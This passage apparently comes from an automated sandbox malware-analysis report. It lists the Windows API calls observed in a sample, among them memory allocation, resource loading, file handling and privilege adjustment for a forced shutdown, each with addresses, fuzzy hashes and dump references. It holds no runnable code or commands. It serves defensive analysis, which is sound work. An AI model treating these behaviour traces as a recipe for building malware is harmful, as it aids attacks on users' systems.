                                                                                                                                                                                                                                      • API ID: FormatMessage
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1306739567-0
                                                                                                                                                                                                                                      • Opcode ID: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
                                                                                                                                                                                                                                      • Instruction ID: 7b38442d06f496379890204edef453c821f476d6c52b93f329ea0e63e965d40b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 17E0D8A0B8830136F22414544C87B77220E47C0700F10807E7700ED3C6D6BEA906815F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetEndOfFile.KERNEL32(?,020B8000,0040A08C,00000000), ref: 004076B3
                                                                                                                                                                                                                                        • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 734332943-0
                                                                                                                                                                                                                                      • Opcode ID: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
                                                                                                                                                                                                                                      • Instruction ID: f788b2e916ece263959a2b362e6cc5638f15ca068e5e6b6e193a7bb405067b9b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BEC04CA1A1410047CB40A6BE89C1A1666D85A4821530485B6B908DB297D679E8004666
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(?,00407019), ref: 0040700C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorMode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2340568224-0
                                                                                                                                                                                                                                      • Opcode ID: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
                                                                                                                                                                                                                                      • Instruction ID: c47f2f618e2971e07f5b1abb1c43dc6c143ad8b034d1ddbdae76011a93498253
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 54B09B76A1C2415DE705DAD5745153863D4D7C47143A14977F104D35C0D53DA4144519
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(?,00407019), ref: 0040700C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorMode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2340568224-0
                                                                                                                                                                                                                                      • Opcode ID: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
                                                                                                                                                                                                                                      • Instruction ID: a55afa0689d716a84ca499c05243e055e04a08b2ab071a0afeb25d409e08decd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FFA022A8C08000B2CE00E2E08080A3C23283A88308BC08BA2320CB20C0C03CE008020B
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CharPrevA.USER32(?,?,0040696C,?,00406649,?,?,00406D87,00000000,00406DAC,?,?,?,?,00000000,00000000), ref: 00406972
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CharPrev
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 122130370-0
                                                                                                                                                                                                                                      • Opcode ID: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
                                                                                                                                                                                                                                      • Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash:
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407FA0
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AllocVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4275171209-0
                                                                                                                                                                                                                                      • Opcode ID: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
                                                                                                                                                                                                                                      • Instruction ID: 1e7236936b067224bcb0a7c190bcfb18a105a15b1652d3161176e1d0ad605fa4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 43116371A042059BDB00EF19C881B5B7794AF44359F05807AF958AB2C6DB38E800CBAA
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                      • Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
                                                                                                                                                                                                                                      • Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseHandle
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2962429428-0
                                                                                                                                                                                                                                      • Opcode ID: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
                                                                                                                                                                                                                                      • Instruction ID: e7ddd8f09f86228f97b62737e097d00c20d119481f2284b048c56b7aa048eabb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 41D05E82B00A6017D615F2BE4D8869692D85F89685B08843AF654E77D1D67CEC00838D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000,?,00407E9D), ref: 00407ECF
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FreeVirtual
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1263568516-0
                                                                                                                                                                                                                                      • Opcode ID: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
                                                                                                                                                                                                                                      • Instruction ID: 622015b425f940adf6dc1d0f89e873b9c6d17cfe6f0c2733970da1323f12c917
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3ED0E9B17553055BDB90EEB98CC1B0237D8BB48610F5044B66904EB296E674E8009654
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000028), ref: 00409457
                                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040945D
                                                                                                                                                                                                                                      • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00409476
                                                                                                                                                                                                                                      • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 0040949D
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 004094A2
                                                                                                                                                                                                                                      • ExitWindowsEx.USER32(00000002,00000000), ref: 004094B3
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
                                                                                                                                                                                                                                      • String ID: SeShutdownPrivilege
                                                                                                                                                                                                                                      • API String ID: 107509674-3733053543
                                                                                                                                                                                                                                      • Opcode ID: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
                                                                                                                                                                                                                                      • Instruction ID: 55e16e97e4c30333ef6e9d7cb44a764448f3c494fd9ead6bbbdf5d5bb2f9c1eb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 61F012B069830179E610AAB18D07F6762885BC4B18F50493ABB15FA1C3D7BDD809466F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409BF6
                                                                                                                                                                                                                                      • SizeofResource.KERNEL32(00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 00409C09
                                                                                                                                                                                                                                      • LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5,?,00000000), ref: 00409C1B
                                                                                                                                                                                                                                      • LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5), ref: 00409C2C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Resource$FindLoadLockSizeof
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3473537107-0
                                                                                                                                                                                                                                      • Opcode ID: ce7c2a79786de0a8682d58b31ceb4174bbddb2d24ae6ad16542ef9ae896a3e40
                                                                                                                                                                                                                                      • Instruction ID: ed04ed1443b666af2c347742ca0221af59beed1f1180006ed42e296f861e82c7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce7c2a79786de0a8682d58b31ceb4174bbddb2d24ae6ad16542ef9ae896a3e40
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ECE07EA0B483562AFA6076FB08C2B2A018C4BA671DF40003BB701B92C3DEBD8C14856E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoLocale
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2299586839-0
                                                                                                                                                                                                                                      • Opcode ID: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
                                                                                                                                                                                                                                      • Instruction ID: 1db3d1c1bb6fab5f91442dea8a08a829cd161d84d3a7e1f0c2fe21aaaafd944f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9ED02EA230E2006AE210808B2C84EBB4A9CCEC53A0F00007FF648C3242D2208C029B76
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemTime.KERNEL32(?), ref: 004026CE
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: SystemTime
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2656138-0
                                                                                                                                                                                                                                      • Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
                                                                                                                                                                                                                                      • Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersionExA.KERNEL32(?,004065F0,00000000,004065FE,?,?,?,?,?,00409C6A), ref: 00405D02
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Version
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1889659487-0
                                                                                                                                                                                                                                      • Opcode ID: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
                                                                                                                                                                                                                                      • Instruction ID: 4c33b40dd65743d8d98a5ffd827b1eb297e5dd4f71424004bfe2d5ab9b26ea54
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 00C0126040070186D7109B31DC02B1672D4AB44310F4405396DA4963C2E73C80018A6E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
                                                                                                                                                                                                                                      • Instruction ID: 7dc6dc86846b3232beed044054ddb30c9891ac2fec336679fba6e94018ae2b4c
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C032D775E00219DFCB14CF99CA80AADB7B2BF88314F24816AD855B7385DB34AE42CF55
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,004098D0), ref: 0040704D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407053
                                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,004098D0), ref: 004070A1
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressCloseHandleModuleProc
                                                                                                                                                                                                                                      • String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 4190037839-2401316094
                                                                                                                                                                                                                                      • Opcode ID: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
                                                                                                                                                                                                                                      • Instruction ID: c068e7fb85b52830e378cef5638f1cf195f9e270113e5aa630163df598a56aa7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72214170E04209ABDB10EAB5CC55A9E77A9EB48304F60847BA510FB3C1D7BCAE01875E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
                                                                                                                                                                                                                                      • ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
                                                                                                                                                                                                                                      • SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
                                                                                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
                                                                                                                                                                                                                                      • GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(000000F5), ref: 00403C1E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
